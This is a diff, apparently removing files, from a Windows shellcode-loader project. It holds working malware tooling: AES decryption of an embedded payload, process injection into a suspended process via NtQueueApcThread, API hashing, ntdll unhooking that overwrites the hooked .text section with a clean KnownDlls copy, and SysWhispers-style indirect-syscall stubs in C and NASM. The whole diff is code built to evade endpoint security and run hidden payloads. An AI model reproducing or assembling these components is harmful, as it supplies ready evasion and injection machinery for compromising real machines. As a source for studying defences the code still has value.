pClearText = (PBYTE)malloc(sEncPayload);
|
||||
AES_DecryptInit(&ctx, aes_k, aes_i);
|
||||
AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload);
|
||||
|
||||
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Creating suspended process..\n");
|
||||
// Creating a suspeneded process now
|
||||
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
|
||||
|
||||
//printf("[-] Failed to create suspended process!\n");
|
||||
return -1;
|
||||
}
|
||||
//printf("[+] Process created with PID: %d\n", dwProcessId);
|
||||
|
||||
Sleep(2500);
|
||||
//printf("[i] Injecting the shellcode into the process..\n");
|
||||
// Doing the APC Injection
|
||||
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
Sleep(1500);
|
||||
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
|
||||
// Running the thread via QueueAPCThread
|
||||
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
|
||||
|
||||
//printf("[-] NtQueueApcThrad failed!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// API Hashing
|
||||
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
|
||||
|
||||
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
|
||||
|
||||
Sleep(1000);
|
||||
// Stopping the debugging of the process, which launches the payload
|
||||
cDAPSu(dwProcessId);
|
||||
//printf("[+] Payload executed!\n");
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
free(pClearText);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,282 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "whispers.h"
|
||||
|
||||
typedef PVOID PACTIVATION_CONTEXT;
|
||||
typedef PVOID PRTL_USER_PROCESS_PARAMETERS;
|
||||
typedef PVOID PAPI_SET_NAMESPACE;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
PVOID Reserved3;
|
||||
UNICODE_STRING FullDllName;
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[3];
|
||||
union {
|
||||
ULONG CheckSum;
|
||||
PVOID Reserved6;
|
||||
};
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAwareProcess : 1;
|
||||
};
|
||||
};
|
||||
|
||||
HANDLE Mutant;
|
||||
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PRTL_CRITICAL_SECTION FastPebLock;
|
||||
PSLIST_HEADER AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PAPI_SET_NAMESPACE ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData; // HotpatchInformation
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
|
||||
PVOID AnsiCodePageData; // PCPTABLEINFO
|
||||
PVOID OemCodePageData; // PCPTABLEINFO
|
||||
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
|
||||
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
|
||||
ULARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID* ProcessHeaps; // PHEAP
|
||||
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
|
||||
PRTL_CRITICAL_SECTION LoaderLock;
|
||||
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
KAFFINITY ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
|
||||
ULONG SessionId;
|
||||
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
|
||||
|
||||
UNICODE_STRING CSDVersion;
|
||||
|
||||
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
|
||||
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
|
||||
|
||||
SIZE_T MinimumStackCommit;
|
||||
|
||||
PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO
|
||||
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
|
||||
USHORT ActiveCodePage;
|
||||
USHORT OemCodePage;
|
||||
USHORT UseCaseMapping;
|
||||
USHORT UnusedNlsField;
|
||||
|
||||
PVOID WerRegistrationData;
|
||||
PVOID WerShipAssertPtr;
|
||||
|
||||
union
|
||||
{
|
||||
PVOID pContextData; // WIN7
|
||||
PVOID pUnused; // WIN10
|
||||
PVOID EcCodeBitMap; // WIN11
|
||||
};
|
||||
|
||||
PVOID pImageHeaderHash;
|
||||
union
|
||||
{
|
||||
ULONG TracingFlags;
|
||||
struct
|
||||
{
|
||||
ULONG HeapTracingEnabled : 1;
|
||||
ULONG CritSecTracingEnabled : 1;
|
||||
ULONG LibLoaderTracingEnabled : 1;
|
||||
ULONG SpareTracingBits : 29;
|
||||
};
|
||||
};
|
||||
ULONGLONG CsrServerReadOnlySharedMemoryBase;
|
||||
PRTL_CRITICAL_SECTION TppWorkerpListLock;
|
||||
LIST_ENTRY TppWorkerpList;
|
||||
PVOID WaitOnAddressHashTable[128];
|
||||
PVOID TelemetryCoverageHeader; // REDSTONE3
|
||||
ULONG CloudFileFlags;
|
||||
ULONG CloudFileDiagFlags; // REDSTONE4
|
||||
CHAR PlaceholderCompatibilityMode;
|
||||
CHAR PlaceholderCompatibilityModeReserved[7];
|
||||
struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5
|
||||
union
|
||||
{
|
||||
ULONG LeapSecondFlags;
|
||||
struct
|
||||
{
|
||||
ULONG SixtySecondEnabled : 1;
|
||||
ULONG Reserved : 31;
|
||||
};
|
||||
};
|
||||
ULONG NtGlobalFlag2;
|
||||
ULONGLONG ExtendedFeatureDisableMask; // since WIN11
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct _AES {
|
||||
|
||||
PBYTE pPlainText; // base address of the plain text data
|
||||
DWORD dwPlainSize; // size of the plain text data
|
||||
|
||||
PBYTE pCipherText; // base address of the encrypted data
|
||||
DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding)
|
||||
|
||||
PBYTE pKey; // the 32 byte key
|
||||
PBYTE pIv; // the 16 byte iv
|
||||
|
||||
} AES, * PAES;
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset;
|
||||
ULONG NumberOfThreads;
|
||||
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
|
||||
ULONG HardFaultCount; //WIN7
|
||||
ULONG NumberOfThreadsHighWatermark; //WIN7
|
||||
ULONGLONG CycleTime; //WIN7
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STRING ImageName;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
ULONG HandleCount;
|
||||
ULONG SessionId;
|
||||
ULONG_PTR PageDirectoryBase;
|
||||
|
||||
//
|
||||
// This part corresponds to VM_COUNTERS_EX.
|
||||
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
|
||||
//
|
||||
SIZE_T PeakVirtualSize;
|
||||
SIZE_T VirtualSize;
|
||||
ULONG PageFaultCount;
|
||||
SIZE_T PeakWorkingSetSize;
|
||||
SIZE_T WorkingSetSize;
|
||||
SIZE_T QuotaPeakPagedPoolUsage;
|
||||
SIZE_T QuotaPagedPoolUsage;
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage;
|
||||
SIZE_T QuotaNonPagedPoolUsage;
|
||||
SIZE_T PagefileUsage;
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
|
||||
//
|
||||
// This part corresponds to IO_COUNTERS
|
||||
//
|
||||
LARGE_INTEGER ReadOperationCount;
|
||||
LARGE_INTEGER WriteOperationCount;
|
||||
LARGE_INTEGER OtherOperationCount;
|
||||
LARGE_INTEGER ReadTransferCount;
|
||||
LARGE_INTEGER WriteTransferCount;
|
||||
LARGE_INTEGER OtherTransferCount;
|
||||
// SYSTEM_THREAD_INFORMATION TH[1];
|
||||
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
@@ -1,131 +0,0 @@
|
||||
/*
|
||||
|
||||
Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "ntdll")
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)-1)
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
NTSYSAPI VOID RtlInitUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
__drv_aliasesMem PCWSTR SourceString
|
||||
);
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PCUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
|
||||
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect
|
||||
);
|
||||
|
||||
NTSTATUS NtOpenSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
#define InitializeObjectAttributes(p, n, a, r, s) { \
|
||||
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
|
||||
LPVOID MapNtdll() {
|
||||
|
||||
UNICODE_STRING DestinationString;
|
||||
const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 };
|
||||
|
||||
RtlInitUnicodeString(&DestinationString, SourceString);
|
||||
|
||||
OBJECT_ATTRIBUTES ObAt;
|
||||
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
|
||||
HANDLE hSection;
|
||||
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
|
||||
if (!NT_SUCCESS(status1)) {
|
||||
//printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID pntdll = NULL;
|
||||
ULONG_PTR ViewSize = 0;
|
||||
|
||||
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#));
|
||||
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
|
||||
if (!NT_SUCCESS(status2)) {
|
||||
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
|
||||
getchar();
|
||||
return NULL;
|
||||
}
|
||||
return pntdll;
|
||||
}
|
||||
|
||||
BOOL Unhook(LPVOID module) {
|
||||
|
||||
HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
|
||||
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
|
||||
if (!NTheader) {
|
||||
//printf(" [-] Not a PE file\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
|
||||
DWORD oldprotect = 0;
|
||||
|
||||
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
|
||||
|
||||
char txt[] = { '.','t','e','x','t', 0 };
|
||||
|
||||
if (!strcmp((char*)sectionHdr->Name, txt)) {
|
||||
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
|
||||
if (!status1)
|
||||
return FALSE;
|
||||
|
||||
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
|
||||
|
||||
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
|
||||
if (!status2)
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,123 +0,0 @@
|
||||
; ===============================================================
|
||||
; NASM x64 version of your assembly.
|
||||
; Save as "whispers-asm.nasm", for example.
|
||||
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
|
||||
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
|
||||
; ===============================================================
|
||||
|
||||
bits 64 ; 64-bit code
|
||||
default rel ; Use RIP-relative addressing by default
|
||||
|
||||
section .text
|
||||
|
||||
; Export the labels so your C code can call them
|
||||
global NTAVM
|
||||
global NTPVM
|
||||
global NTWVM
|
||||
global NTQAT
|
||||
|
||||
; Declare external symbols (the calls to these are in your code)
|
||||
extern SW3_GetSyscallNumber
|
||||
extern SW3_GetRandomSyscallAddress
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTAVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTAVM:
|
||||
mov [rsp + 8], rcx ; Save registers
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0xC189CD1E ; Load function hash into ECX
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax ; Save the address of the syscall
|
||||
|
||||
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8] ; Restore registers
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11 ; Jump to -> Invoke system call
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTPVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTPVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x159D0313 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x159D0313 ; Re-load function hash
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTWVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTWVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x83179B97 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x83179B97
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTQAT
|
||||
; ---------------------------------------------------------------------------
|
||||
NTQAT:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x88AE129F ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x88AE129F
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; End of file
|
||||
@@ -1,278 +0,0 @@
|
||||
#include "whispers.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
#define JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
__declspec(naked) BOOL local_is_wow64(void)
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs:[0xc0]
|
||||
test eax, eax
|
||||
jne wow64
|
||||
mov eax, 0
|
||||
ret
|
||||
wow64:
|
||||
mov eax, 1
|
||||
ret
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList;
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
